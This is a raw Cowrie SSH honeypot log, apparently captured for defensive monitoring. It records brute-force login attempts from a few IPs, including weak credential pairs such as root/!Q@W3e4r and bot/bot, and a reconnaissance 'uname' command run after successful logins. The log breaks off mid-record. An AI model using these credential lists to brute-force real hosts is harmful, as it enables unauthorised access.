{"eventid":"cowrie.login.failed","username":"esadmin","password":"esadmin","message":"login attempt [esadmin/esadmin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:58:43.029162Z","src_ip":"176.65.139.95","session":"736971e27c57","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:58:44.118032Z","src_ip":"176.65.139.95","session":"736971e27c57","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":60182,"dst_ip":"159.203.135.109","dst_port":22,"session":"4628446dae70","protocol":"ssh","message":"New connection: 159.203.92.129:60182 (159.203.135.109:22) [session: 4628446dae70]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:58:44.183356Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:58:44.187797Z","src_ip":"159.203.92.129","session":"4628446dae70","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:58:44.194314Z","src_ip":"159.203.92.129","session":"4628446dae70","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"LiLin","password":"LiLin123","message":"login attempt [LiLin/LiLin123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:58:44.204341Z","src_ip":"159.203.92.129","session":"4628446dae70","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:58:45.212430Z","src_ip":"159.203.92.129","session":"4628446dae70","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":34544,"dst_ip":"159.203.135.109","dst_port":22,"session":"5444780c44fd","protocol":"ssh","message":"New connection: 176.65.139.95:34544 (159.203.135.109:22) [session: 5444780c44fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:58:48.547626Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:58:48.555293Z","src_ip":"176.65.139.95","session":"5444780c44fd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:58:48.645924Z","src_ip":"176.65.139.95","session":"5444780c44fd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"developer","password":"123","message":"login attempt [developer/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:58:49.046825Z","src_ip":"176.65.139.95","session":"5444780c44fd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:58:50.176473Z","src_ip":"176.65.139.95","session":"5444780c44fd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":44700,"dst_ip":"159.203.135.109","dst_port":22,"session":"23d73cc165db","protocol":"ssh","message":"New connection: 176.65.139.95:44700 (159.203.135.109:22) [session: 23d73cc165db]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:58:54.392693Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:58:54.398510Z","src_ip":"176.65.139.95","session":"23d73cc165db","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:58:54.481288Z","src_ip":"176.65.139.95","session":"23d73cc165db","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"steam","password":"12345","message":"login attempt [steam/12345] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:58:54.778050Z","src_ip":"176.65.139.95","session":"23d73cc165db","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:58:55.042388Z","src_ip":"176.65.139.95","session":"23d73cc165db","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:58:55.045728Z","src_ip":"176.65.139.95","session":"23d73cc165db","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:58:55.131230Z","src_ip":"176.65.139.95","session":"23d73cc165db","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:58:55.136558Z","src_ip":"176.65.139.95","session":"23d73cc165db","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":49594,"dst_ip":"159.203.135.109","dst_port":22,"session":"a76e03528204","protocol":"ssh","message":"New connection: 176.65.139.95:49594 (159.203.135.109:22) [session: a76e03528204]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:59:00.332644Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:59:00.338696Z","src_ip":"176.65.139.95","session":"a76e03528204","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:59:00.422217Z","src_ip":"176.65.139.95","session":"a76e03528204","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"!Q@W3e4r","message":"login attempt [root/!Q@W3e4r] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:59:00.674997Z","src_ip":"176.65.139.95","session":"a76e03528204","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:59:01.765012Z","src_ip":"176.65.139.95","session":"a76e03528204","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":49608,"dst_ip":"159.203.135.109","dst_port":22,"session":"255a5d6ef66f","protocol":"ssh","message":"New connection: 176.65.139.95:49608 (159.203.135.109:22) [session: 255a5d6ef66f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:59:06.214535Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:59:06.223130Z","src_ip":"176.65.139.95","session":"255a5d6ef66f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:59:06.306416Z","src_ip":"176.65.139.95","session":"255a5d6ef66f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mcserver","password":"mcserver","message":"login attempt [mcserver/mcserver] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:59:06.587174Z","src_ip":"176.65.139.95","session":"255a5d6ef66f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:59:07.681292Z","src_ip":"176.65.139.95","session":"255a5d6ef66f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":48718,"dst_ip":"159.203.135.109","dst_port":22,"session":"268eeb972ac9","protocol":"ssh","message":"New connection: 176.65.139.95:48718 (159.203.135.109:22) [session: 268eeb972ac9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:59:12.081343Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:59:12.089221Z","src_ip":"176.65.139.95","session":"268eeb972ac9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:59:12.215098Z","src_ip":"176.65.139.95","session":"268eeb972ac9","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"bot","password":"bot","message":"login attempt [bot/bot] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:59:12.848272Z","src_ip":"176.65.139.95","session":"268eeb972ac9","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:59:13.098605Z","src_ip":"176.65.139.95","session":"268eeb972ac9","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:59:13.101829Z","src_ip":"176.65.139.95","session":"268eeb972ac9","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:59:13.186505Z","src_ip":"176.65.139.95","session":"268eeb972ac9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:59:13.191315Z","src_ip":"176.65.139.95","session":"268eeb972ac9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.186","src_port":43352,"dst_ip":"159.203.135.109","dst_port":22,"session":"e09062541ac4","protocol":"ssh","message":"New connection: 80.94.92.186:43352 (159.203.135.109:22) [session: e09062541ac4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:59:17.461156Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:59:17.514478Z","src_ip":"80.94.92.186","session":"e09062541ac4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:59:17.620713Z","src_ip":"80.94.92.186","session":"e09062541ac4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":48730,"dst_ip":"159.203.135.109","dst_port":22,"session":"bac88814c860","protocol":"ssh","message":"New connection: 176.65.139.95:48730 (159.203.135.109:22) [session: bac88814c860]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:59:18.037675Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:59:18.111158Z","src_ip":"176.65.139.95","session":"bac88814c860","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","c